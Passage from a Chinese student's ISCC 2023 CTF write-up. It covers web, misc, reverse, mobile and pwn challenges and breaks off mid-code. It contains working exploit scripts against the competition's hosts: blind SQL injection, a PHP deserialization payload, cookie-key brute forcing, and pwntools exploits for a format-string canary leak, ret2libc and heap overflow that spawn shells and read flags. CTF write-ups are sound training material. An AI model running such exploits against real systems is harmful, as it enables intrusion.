ysoseri.us

技术内容 / 本科的一些学习笔记和wp / ISCC(2023)

ISCC(2023)

练武 week1

WEB

公共靶机,每天12点更新flag

更新后就不能交了

羊了个羊

图片 1

F12,ctrl+U都用不了,直接地址栏网址前面加view-source:

然后找到vue.global.js,搜alert,如图最下面那一串alert里的字符串解两层base64即可

ISCC{iOwek0SDrV65JupR4LLMNNV4r1hox0la} 5/17

ISCC疯狂购物节-1

sql盲注,限制字符的数字部分长度,过滤了substr,mid,ord,

限制每秒一次,注起来太慢了

import requests

cookies = {
    'messages': 'W1siX19qc29uX21lc3NhZ2UiLDAsNDAsIiBcdTUzYzJcdTY1NzBcdTk1MTlcdThiZWYhIl1d:1puSqh:LDYoxMm4NAeGHJZeWLY_tJeel5XXgpx4DKsBt6AaDm0',
    'csrftoken': 'OCy5voRR2h8ESTQOB1XCIny8KOM5vwLOMux4QZbZ9M7XozwjrFIQotk6WjEDmMeL',
    'sessionid': 'xqpd4vv554ja6iuljzcs3z2v4f2bflf3',
}

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6',
    'Cache-Control': 'max-age=0',
    'Connection': 'keep-alive',
    # 'Cookie': 'csrftoken=CUaTXkyTBh0BIJH6wPB4BCfj0XPY1UsNQOZw493nRNjUzQOh5oDM43Dk1oy77PAO; sessionid=or5651rwhi9pphofzt5i0hedk92tpp2y',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36',
}

alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}~"
import time
first_code = '{'
while True:
    
    for i in alp:
        time.sleep(1)
        response = requests.get(
        f'http://47.94.14.162:10001/Details/search?id=4875610)||fl4g%20like%20binary%200x25{hex(ord(first_code))[2:]}{hex(ord(i))[2:]}25%23',
        cookies=cookies,
        headers=headers,
        verify=False,
    )
        if i == '~':
            exit()
        if "fl4g" in response.text:
            # print(response.text)
            print(i)
            first_code = i
            break
        else:
            # print("no")
            continue

用yafu尝试分解n,发现p,q是临近素数 fermat分解得到p,q在MainActivity。也可以用在线网站https://mogua.co/来看 图片 2key不动 去找自己附件的01字符串

5.7-5.8

ISCC{q1U46ReaLM5m}

Where_is_your_love

图片 3

Download.php里给了一个RSA的公钥

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq1z4KZn/krRpsVNGNkix
/WyrrTjDauDMk4Hfd20R5zgzBHtUtvKeTeg3kHKp2k6Pcl3pGSAAGLeEWFORV5ew
lvvSmov7WNZM6olsRs/QKbs03wP/YFUevmkl05ZtrXLlqlVohFddT0Q+BwcIdKfH
hPsZRqFdDrGyLfFkEEMOGth3XXwNtkJAlKLjTSkf2PvTJ1Km2jhfn9gcizan20Ey
5ufah/sBYqLSnNRYMg5R0pGiwcbmz3NzsNm8zopH5cNarrzVEeRlx86oqJw13CJB
DYV0VRNjNgW2+FOQBnMjcH9pCu/zQA3fdXExXXA0+Oe7X+866tlurPWY0YotihgQ
iwIDAQAB
-----END PUBLIC KEY-----

爆破n,e

import rsa
with open('keyiscc.pem',mode='rb') as f:
    keydata= f.read()
pubckey = rsa.PublicKey.load_pkcs1_openssl_pem(keydata)
print(pubckey.n)
print(pubckey.e)
n = 21632595061498942456591176284485458726074437255982049051386399661866343401307576418742779935973203520468696897782308820580710694887656859447653301575912839865540207043886422473424543631000613842175006881377927881354616669050512971265340129939652367389539089568185762381769176974757484155591541925924309034566325122477217195694622210444478497422147703839359963069352123250114163369656862332886519324535078617986837018261033100555378934126290111146362437878180948892817526628614714852292454750429061910217210651682864700027396878086089765753730027466491890569705897416499997534143482201450410155650707746775053846974603
e = 65537

用yafu尝试分解n,发现p,q是临近素数

fermat分解得到p,q

解Enc.php下载下来的letter.php得到密文

<?php function enc($data)
{
  $str="";
$a=strrev(str_rot13($data));
for($i=0;$i<strlen($a);$i++){         
  $b=ord($a[$i])+10;         
  $c=$b^100;      
  $e=sprintf("%02x",$c);         
  $str.=$e;
}
return $str; 
} 
?>

LoveStory.php里反序列化源码

<?php
  include("./xxxiscc.php");
class boy {
  public $like;
  public function __destruct() {
    echo "能请你喝杯奶茶吗?<br>";
    @$this->like->make_friends();
  }
  public function __toString() {
    echo "拱火大法好<br>";
    return $this->like->string;
  }
}

class girl {
  private $boyname;
  public function __call($func, $args) {
    echo "我害羞羞<br>";
    isset($this->boyname->name);
  }
}

class helper {
  private $name;
  private $string;
  public function __construct($string) {
    $this->string = $string;
  }
  public function __isset($val) {
    echo "僚机上线<br>";
    echo $this->name;
  }
  public function __get($name) {
    echo "僚机不懈努力<br>";
    $var = $this->$name;
    $var[$name]();
  }
}
class love_story {
  public function love() {
    echo "爱情萌芽<br>";
    array_walk($this, function($make, $colo){
      echo "坠入爱河,给你爱的密码<br>";
      if ($make[0] =<mark> "girl_and_boy" && $colo </mark>= "fall_in_love") {
        global $flag;
        echo $flag;
      }
    });
  }
}

if (isset($_GET["iscc"])) {
  $a=unserialize($_GET['iscc']);
} else {
  highlight_file(__FILE__);
}

Poc

链子不难,建议web手对着复现一下

boy(__destruct)→like→girl(__call), girl($boyname)→helper(__get), __isset{echo}→boy(__tostring), $like->$string→helper(), helper($string)→love_story(名为"string"的$array) $make[0]表示访问数组$make的第一个元素,设置任意字符'xxx'都表示'xxx'是数组$make的第一个元素,因此设置任意字符即可通过if;array_walk()函数内function xxx($value,$key) 表示声明了一个$key=value(function中$key的值为array_walk函数内声明的$key的变量名,然后将$value的值赋给新的$key),因此本题$fall_in_love=赋给$make[0]的值,即$fall_in_love=array([0]=>"girl_and_boy")即可通过if判断

<?php
class boy {
    public $like;

}

class girl {
    public $boyname;

}

class helper {
    public $name;
    public $string;

}
class love_story {
    public $fall_in_love =array(0=>"girl_and_boy");
}

$a = new boy();
$a -> like =new girl();
$a -> like -> boyname = new helper();
$a -> like -> boyname -> name = new boy();a
$a -> like -> boyname -> name ->like =new helper();
$a -> like -> boyname -> name ->like -> string = array("string"=>[new love_story(),'love']);

echo serialize($a);

boyname和name是私有属性构造payload时要加上%00类名%00

Payload

O:3:"boy":1:{s:4:"like";O:4:"girl":1:{s:13:"%00girl%00boyname";O:6:"helper":2:{s:4:"name";O:3:"boy":1:{s:4:"like";O:6:"helper":2:{s:12:"%00helper%00name";N;s:6:"string";a:1:{s:6:"string";a:2:{i:0;O:10:"love_story":1:{s:12:"fall_in_love";a:1:{i:0;s:12:"girl_and_boy";}}i:1;s:4:"love";}}}}s:6:"string";N;}}}

传参得到一段密文,将前边的加密算法改成解密算法出flag

<?php
function dec($data){
    $str="";
    for($i=0;$i<strlen($data);$i+=2){
        $c=hexdec(substr($data,$i,2));
        $b=$c^100;
        $a=chr($b-10);
        $str.=$a;
    }
    return str_rot13(strrev($str));
}
echo dec("e35a31342f241b3f17081ae75e042b5f155e38163d285826e41936125b5a075910e13e3e3404");

上大号说话

.git泄露

class ED:
    def __init__(self):
        self.file_key = ...  # 1Aa
        self.cipher_suite = Fernet(self.generate_key(self.file_key))

    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)

    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)

def check_cookies(cookie):
    ed = ED()
    f, result = ed.decrypto(cookie)
    black_list = ...
    if not result[0:2] == b'\x80\x03':
        return False
    ...
    try:
        result = pickle.loads(result)
        if result.name <mark> 'mabaoguo' and result.random </mark> mabaoguo.random and result.gongfu == mabaoguo.gongfu:
            return flag
        else:
            return result.name
            
    except:f
        return False

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        name = request.form['input_field']
        name = Member(name)
        name_pick = pickle.dumps(name, protocol=3)
        name_pick = pickletools.optimize(name_pick)
        ed = ED()
        response = make_response(redirect('/'))
        response.set_cookie('name', ed.crypto(name_pick).decode())
        return response

    temp_cookies = request.cookies.get('name')

    if not temp_cookies:
        ...
    else:
        f = check_cookies(temp_cookies)
        ...

if __name__ == '__main__':
    app.run()

session的key要爆破

四位数字大小写字母组合

爆破file_key

from cryptography.fernet import Fernet
import base64
from itertools import product
import string
import tqdm

name = 'gAAAAABkVOBvbu_K0HfEvjPViajQ9bO2TBNY3DinC68GXWMqDWuwNmdmdJEDehRlAwMwkOATs3hi0Da2XQQRYITkaW3uqwXS7JMWuX-vtJ-BtufwZcYtJ43727i_irhsP2figbq3Li8wM73NUElcL-b3KTRzOF4rduoAelAkW0Q48y3iPUIileY='

def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)

phar = tqdm.tqdm(total=62**4)
for keys in product((string.digits+string.ascii_letters),repeat=4):
    phar.update(1)
    try:
        decrypt = Fernet(generate_key('%s%s%s%s'%keys)).decrypt(name.encode())
        print(decrypt,'key is %s%s%s%s'%keys)
        break
    except:
        continue

得到key是 5MbG

MISC

好看的维吾尔族小姐姐 misc1

文件后缀名改为png

然后修改高,或者通过crc恢复高

图片 4

将下部的码左右翻转

然后扫datamatrix 然后再reverse

然后html entity

ISCC{you_got_it_welldone!}

菜鸟黑客1 misc2

内存取证

图片 5

\Device\HarddiskVolume1\Users\lenovo\Desktop\flag.txt

flag.txt里是

这个人有个坏习惯, 他总爱用同一个密码DES{U2FsdGVkX19WerE/OZodh7liigwc7fzf8eWqByR8ixxENEvPwPpWzm2EL2f90UXO}

key是 用户密码

ISCC2023

找个openssl的在线des工具

http://www.esjson.com/desEncrypt.html

静态flag

ISCC{dbsy_cdis_fd7n_s4fd}

消息传递 misc3

动态FLAG

Tcp 15和20流的password段

解base64后拼起来

WRWAALIUWOHZAPQWFTQIPMVJFOKHHZUZ

然后

解压得到的文件夹,图片黑色为1,白色为0

8位一组二进制转成ASCII

import os
from PIL import Image

img_list = [f"{i+1}.png" for i in range(112)]

flag = ""
for f in img_list:
    # 文件名如果是数字,处理该文件
    img = Image.open(os.path.join('picture', f))
    pixel = img.getpixel((1, 1))  # 获取左上角第一个像素点

    if pixel == (0,0,0):  # 如果像素点是黑色(0, 0, 0)
        flag+="1"  # 输出1
    else:  
        flag+="0"  # 否则输出0
    img.close()

print("".join([chr(int(flag[i:i+8],2)) for i in range(0, len(flag), 8)]))

ISCC{i2s0c2c3}

只运行这段代码就行,前面是做题过程

脚本放到dictionary.txt同文件夹

dictionary = open('./dictionary.txt','r').read().split('\n')[:-1]
dict1 = {}
for pair in dictionary:
    key, value = pair.split(':')
    dict1[key] = value
print(dict1)
message="ISCC{i2s0c2c3}"

[print(dict1.get(i),end='')if i in dict1 else print(i,end='') for i in message ]

你相信AI吗?

动态FLAG

图片 6

cnn网络结构

mnist的网络结构

不要把脚本传出去,我改的一把梭

放到model.zip同目录运行,需要pytorch,numpy

import torch
import numpy as np
import torch.nn as nn

class Digit(nn.Module):
    def __init__(self):
        super(Digit, self).__init__()
        self.conv = nn.Sequential(
            nn.Conv2d(1, 10, kernel_size=5),
            nn.ReLU(),
            nn.MaxPool2d(kernel_size=2),
            nn.Conv2d(10, 20, kernel_size=3),
            nn.ReLU(),
            nn.Flatten(),
            nn.Linear(2000, 500),
            nn.ReLU(),
            nn.Linear(500, 10)
        )

    def forward(self, x):
        x = self.conv(x)
        return x

model = Digit()
state_dict = torch.load("./model.zip")['model_state_dict']
model.load_state_dict(state_dict)

# 定义类别标签
labels = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']

cipher_text = ""

# 遍历所有文件
for i in range(32):
    filename = f'{i}.txt'
    # 打开文件并读取数据
    with open(f"./dataset/{i}.txt", "r") as f:
        data = f.read().splitlines()

    image_data = np.array([float(line) for line in data])
    if image_data.shape[0] == 2352:
        image_data = image_data.reshape(1, 1, 84, 28)
    elif image_data.shape[0] == 1568:
        image_data = image_data.reshape(1, 1, 56, 28)
    image_data = torch.from_numpy(image_data)
    image_data = image_data / 255.
    image_data = image_data.type(torch.float32)

    # 对图像进行预测
    with torch.no_grad():
        for i in range(0, image_data.shape[2], 28):
            image = image_data[:, :, i:i+28, :]
            output = model(image)
            _, predicted = torch.max(output.data, 1)
            cipher_text+=labels[predicted.item()]
        cipher_text+=" "

import string
import itertools
import contextlib
import base64

cipher_text = cipher_text.split(" ")[:-1]
print(cipher_text)
def has_visible_bytes(input_bytes):
    return all(chr(byte) in string.printable for byte in input_bytes)

for i in itertools.permutations("0123456789", 10):
    maktrans = str.maketrans("0123456789", ''.join(i))

    lis = [str.translate(i, maktrans) for i in cipher_text]
    
    with contextlib.suppress(Exception):
        plan_text = bytes(list(map(lambda x: int(x), lis)))
        if has_visible_bytes(plan_text):
            if b"SVNDQ3" in plan_text:
                try:
                    print("FLAG是",base64.b64decode(plan_text).decode())
                    break
                    exit()
                except:
                    continue

RE

re1 JustDoIt

def decrypt(a1_encrypted, a2, a3):
    a1_decrypted = a1_encrypted.copy()
    # reverse the operations performed in the encryption algorithm
    for m in range(1, a3):
        a1_decrypted[m] ^= a2[0]
        a1_decrypted[m] -= a2[m % 4] % 5
        a1_decrypted[m] += a2[2] % 6 + a2[3] // 6
        a1_decrypted[m] -= a2[1] // 7 + a2[0] % 7
    for k in range(1, a3):
        a1_decrypted[k] -= k
    v4 = a1_decrypted[a3 - 1]
    for j in range(a3 - 1, 0, -1):
        a1_decrypted[j] = a1_decrypted[j - 1]
    a1_decrypted[0] = v4
    for i in range(a3):
        a1_decrypted[i] += 60
    return a1_decrypted

a1_encrypted = [0x17, 0x44, 0x44, 0x0F, 0x5E, 0x0A, 0x08, 0x0A, 0x06, 0x5F, 0x08, 0x18, 0x57, 0x03, 0x1A, 0x69]
a2 = [0x49, 0x53, 0x43, 0x43]
a3 = 16

a1_decrypted = decrypt(a1_encrypted, a2, a3)
for i in range(len(a1_decrypted)):
    print(chr(a1_decrypted [i]),end='')

ISCC{JustDoIt}

re2 变形记

from base64 import b64decode

secret = "填入base64的值"
print('ISCC{',end='')
print("".join([(v) if v.isdigit() == False else ((b64decode(secret[::-1].encode()).decode()[i-1])*(int(v)-1)) for  i,v in enumerate(b64decode(secret[::-1].encode()).decode())]),end='}')

re3 狂飙-1

动态FLAG

里面有合约,差不多是区块链题

pwn环境跑脚本,爆破,需要ubuntu的libc在2.34即以上

from pwn import *
import os
context.log_level="debug"
os.system('chmod +x ./synthesis')

f=open("./synthesis","rb+")
data=f.read()
f.close()
sum=13
step=7
offset=0x15c0+0x9
datalist=list(data)
print(datalist[offset])
print(datalist[offset+step])
length=14
datalist[0x15c2] = 1
datalist[0x192b] = 0xd9
datalist[0x192c] = 0x11
datalist[0x194a] = 0xca
datalist[0x194b] = 0x11
datalist[0x196d] = 0xa7
datalist[0x196e] = 0x11
datalist[0x1999] = 0x7b
datalist[0x199a] = 0x11
datalist[0x19a0] = 0x64
datalist[0x19a1] = 0x11

material = b'4-chloroisatin\x00'
product = b'Ammosamide B\x00'

for i in range(len(material)):
    datalist[0x2b08 + i] = material[i]
for i in range(len(product)):
    datalist[0x2b18 + i] = product[i]
def write_order(b):
    for i in range(14):
        if b[i] == '0':
            datalist[offset+i*step]=0
        if b[i] == '1':
            datalist[offset+i*step]=1
    f=open("./synthesis","wb")
    f.write(bytes(datalist))
    f.close()
# write_order("00000000001111")
for i in range(16384):
    tmp=bin(i)[2:].rjust(14,'0')
    write_order(tmp)
    sh=process("./synthesis")
    sh.recvuntil(b'Desired product: Ammosamide B\n')
    res=sh.recvline()
    if b'flag' in res:
        sh.interactive()
    else:
        sh.close()
        continue

这是50种flag,数字是文件夹的数字

不放心的可以跑脚本验证

this is number: 1 ISCC{53241_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 2 ISCC{106483_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 3 ISCC{159723_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 4 ISCC{212965_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 5 ISCC{266204_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 6 ISCC{319445_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 7 ISCC{372681_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 8 ISCC{425929_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 9 ISCC{479175_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 10 ISCC{532411_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 11 ISCC{585650_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 12 ISCC{638885_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 13 ISCC{692131_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 14 ISCC{745363_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 15 ISCC{798609_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 16 ISCC{851865_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 17 ISCC{905095_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 18 ISCC{958349_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 19 ISCC{1011576_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 20 ISCC{1064821_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 21 ISCC{1118059_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 22 ISCC{1171303_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 23 ISCC{1224524_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 24 ISCC{1277777_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 25 ISCC{1331009_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 26 ISCC{1384281_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 27 ISCC{1437531_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 28 ISCC{1490737_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 29 ISCC{1543983_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 30 ISCC{1597243_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 31 ISCC{1650473_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 32 ISCC{1703737_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 33 ISCC{1756949_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 34 ISCC{1810189_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 35 ISCC{1863437_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 36 ISCC{1916709_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 37 ISCC{1969886_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 38 ISCC{2023157_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 39 ISCC{2076393_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 40 ISCC{2129641_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 41 ISCC{2182902_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 42 ISCC{2236097_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 43 ISCC{2289364_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 44 ISCC{2342605_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 45 ISCC{2395843_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 46 ISCC{2449069_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 47 ISCC{2502290_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 48 ISCC{2555577_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 49 ISCC{2608818_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 50 ISCC{2662027_4-chloroisatin_1422201965553241_Ammosamide B}

MOBILE

mobile1

静态

ISCC{YOU_LIKE_128215131d0dd4119e60}

mobile2

静态的

ISCC{flagfkyy}

mobile3

动态FLAG

在MainActivity。也可以用在线网站https://mogua.co/来看

图片 7

dic = {"1463495029.1088610877": "+", "1049530879.4255690777": "#", "2862766292.2381007417": "$",
       "3330444070.1174262214": ",", "2227920669.2827401366": "_", "1579951362.2846238576": "8", "368955456.3265704134": "T",
       "2696190145.613662970": "(", "3872134833.1068749546": "m", "891426205.2766473378": "/", "1519023352.105877999": "j",
       "2477809142.443877620": "[", "2647754101.2230120467": "`", "3075111042.1323776342": "i", "986806734.2777299023": ".",
       "3896053831.4135235691": "?", "1184712308.807098365": "I", "4075828588.429489377": "M", "2429787593.619384622": "l",
       "881206442.1709247634": "]", "1083538065.1130340170": "a", "4023341693.1586698450": "6", "155280819.3054501475": "W",
       "99771100.1051999332": "9", "4232898851.3300692563": ")", "64956337.4234499210": "1", "2870232400.3722498303": "\\",
       "2841218066.780431097": "e", "132800239.3878689771": "w", "2156232310.2823971181": "k", "1808290711.212509551": "7",
       "696150085.2220172189": "p", "3713618273.3259647236": "q", "3121040253.2415880190": "u", "2858698525.3991735450": "z",
       "2547227671.698153515": ";", "654785657.4006927810": "n", "3711461495.3008240604": "<", "3581263639.1952078211": "f",
       "3164894139.2581098102": "y", "3160675335.657981347": "x", "1158103192.2450550443": "~", "1236282010.4060431406": "A",
       "4027068562.440012179": "c", "351048083.1823512614": "o", "1462318326.3226159060": "C", "2954653653.1618611175": "P",
       "701073028.312955233": "%", "666315003.3369729975": "4", "2853626980.607086523": "=", "19734539.2637167118": "@",
       "4120373985.112157582": "J", "2302105109.2843567652": "L", "1392500071.2693188089": "^", "709910699.3712210805": "s",
       "3113384841.1999610280": ":", "1964704696.30454558": "X", "3016651642.1304626590": "E", "924745076.1085575287": "3",
       "1979386605.348865528": "*", "3283987997.1614515444": "\"", "3248176867.998559740": "Y", "2460099397.287946231": "r",
       "933728663.4036345491": "D", "870221498.4165280671": "F", "700813972.3680578651": "!", "2666170697.1050538432": "G",
       "3735675442.4106461569": "Q", "3944223761.1040972928": "S", "406509623.2197974953": "-", "166914849.75133536": "2",
       "1971216652.4016620168": "B", "3126027666.2407112104": "'", "2421050068.877129437": "h", "2694837670.239856188": "v",
       "4259959222.1144992995": "}", "1986798057.4141497725": "0", "734889408.680957602": "t", "3747360752.949414639": ">",
       "4099300672.1926520061": "V", "2965350987.46203785": "K", "428936951.1911408410": "d", "1336447878.2775388247": "b",
       "4097885373.4018178710": "&", "1935593237.368431450": "Z", "529156133.278213883": "N", "2381012008.4088810995": "R",
       "385403258.710806366": "g", "4273244629.3478477188": "H", "1802901715.704799359": "|", "930008935.2627182413": "5",
       "4018804880.2724391126": "O", "4067852839.2777358486": "U", "1615466436.2634553015": "{"}

part1 = "xxxx.xxxx"[1:].split(".")
part2 = "xxxx.xxxx"[1:].split(".")
flag = ''
for a, b in zip(part1, part2):
flag += dic[f"{a}.{b}"]
if flag[-3:] == 'ANM':
print("ISCC{"+flag[:-3]+"}")
else:
print("检查 part1 和 part2 是否正确!")

PWN

pwn1 三个愿望

随机数预测

格式化字符串 泄露Canary

然后栈溢出到后门函数

from pwn import  *
from ctypes import *
context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序,linux系统,64位架构,debug

binary = './makewishes' #程序文件名或ip地址
# p = process(binary) #连接本地程序
p = remote("59.110.164.72",10023) #连接远程程序
elf = ELF(binary)    #获得程序函数地址
eelf = cdll.LoadLibrary('./libc.so.6')

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
ru("Now you can make your first wish")

sl(b'a'*(0x16-0x10)+p32(1)+p32(1))
eelf.srand(1)
sl(str(eelf.rand() % 9 + 1))
ru("Now you can make your second wish!")
sl("%11$p")
ru("0x")
canary = int(rx(16),16)
log.success('canary',canary)
ru("Please give me a number!")
sl(str(2))
ru("ow you can make your final wish!")
sl(b'a'*0x28+p64(canary)+b'a'*8+p64(0x4011D6))
shell()
ISCC{3096-3860-419d-bfcb-986c}

pwn2 Login

是一个比较简单ret2libc,前置涉及到一个int数据的验证,题目直接给出了stdin地址,因此不需要泄露,根据给出文件直接算出地址,在print_name函数中执行memcpy后就溢出即可

from pwn import*

p=remote('59.110.164.72',10020)

elf=ELF('./Login')
mainadd=elf.symbols['main']

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

#ROPgadget --binary filename  --only 'pop|ret' 

pstart=b'a'*0x1c+p32(0x15CC15CC)#效验部分

rdiadd=0x00000000004008c3
ru("Here is a tip: ")
stdinadd=int(rx(14).decode(),16)#以16进识别并接收14字节的字符串,转为int

#_IO_2_1_stdin_

libc=ELF("./libc-2.23.so")
libc_base=stdinadd-libc.sym['_IO_2_1_stdin_']
system_addr=libc_base+libc.sym['system']
bin_sh_addr=libc_base+libc.search(b'/bin/sh').__next__() #计算地址

print("%x"%libc_base)
p2=b'a'*(32+8) +p64(rdiadd)+p64(bin_sh_addr)+p64(system_addr)+p64(mainadd)

sa("input the username:",pstart)
sa("input the password:",p2)

sl('cat f*')
shell()
ISCC{7619-29d7-456f-af0e-678e}

pwn3 第一用笔-1

先从网上搜到7个用笔方法,按拼音拼成串,func_2有溢出可以跳到func_101101,在这里溢出拿libc和shell

from pwn import *
from itertools import * 

# p =process('usage_of_pen')
# p = remote('59.110.164.72','10026')
context.log_level = 'error'

libc = ELF('./libc.so.6')
elf = ELF('./usage_of_pen')
pop_rdi = 0x0000000000400c53 # pop rdi ; ret

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

kk = ['cuobi000','yufeng00','dunfeng0','cunfeng0','tifeng00','anfeng00','jiebi000']
for k in [8]:
    ss = 'dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000'
    p = remote('59.110.164.72', 10026)

    sa(b"and 40 to 47 is 'nvfeng00'!\n", ss.encode())
    msg = p.recvline()
    if b'need' in msg:
        p.close()
        continue 

    context(arch='amd64', log_level = 'debug')
    sa(b"or you can look for other space\n" , b'\x00'*0x28 + p64(0x400b0f))

    s(b'\x00'*0x28 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400b0f))
    libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']

    s(b'\x00'*0x28 + flat(pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))
    sl('cat f*')
    shell()
    break

pwn4 Your_character

先选 1进行第2层,在第2层菜单,edit有off_by_one,通过修改头得到重叠块然后打__free_hook写ong_gadget

from pwn import *
from itertools import *

#p =process('./your_character')
p = remote('59.110.164.72', 10003)
context(arch='amd64',log_level = 'debug')

libc = ELF('./libc-2.23.so')
elf = ELF('./your_character')

menu = b"Your choice :"
def add(size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Damage of skill : ", str(size).encode())
    p.sendafter(b"introduction of skill:", b'A')

def edit_size(idx, size):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index :", str(idx).encode())
    p.sendlineafter(b"Damage of skill : ", str(size).encode())

def edit(idx,msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index :", str(idx).encode())
    p.sendafter(b"introduction of skill : ", msg)

def show(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Index :", str(idx).encode())

def free(idx):
    p.sendlineafter(menu, b'5')
    p.sendlineafter(b"Index :", str(idx).encode())

p.sendlineafter(b"Your choice :", b'2')
p.sendlineafter(b"Please enter the background story of your character: \n", b'A')

p.sendlineafter(b"Your choice :", b'1') #in

for i in [0x80,0x18,0x18,0x18]:
    add(i)

edit(1, b'A'*0x18+ p8(0x61))
free(2)

add(0x58)
edit(2, b'A'*0x8)
show(2)
p.recvuntil(b'A'*0x8)
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x370
print(f"{heap_addr = :x}")

free(0)
edit(2, flat(0,0,0,0x21,0x800,heap_addr+ 0x280)) #2 ptr-> unsort

show(2)
p.recvuntil(b"Introduction : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00'))  - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

edit(2, b'A'*0xf0 + flat(0x800, heap_addr+0x10) )
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
edit(2, p64(libc.address + one[0])*2)

p.sendlineafter(menu, b'6')
p.sendlineafter(menu, b'4')

#gdb.attach(p)
#pause()

p.sendline(b'cat /flag*')

p.interactive()

练武 week2

web

小周的密码锁

除了语言是php,这个题跟web就没啥关系,纯逆算法+爆破hash

password2=5

得到源码

<?php
  function MyHashCode($str)
  {
  $h = 0;
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
  $hash = intval40(intval40(40 * $hash) + ord($str[$i]));
}
return abs($hash);
}

function intval40($code)
  {
    $falg = $code >> 32;
    if ($falg == 1) {
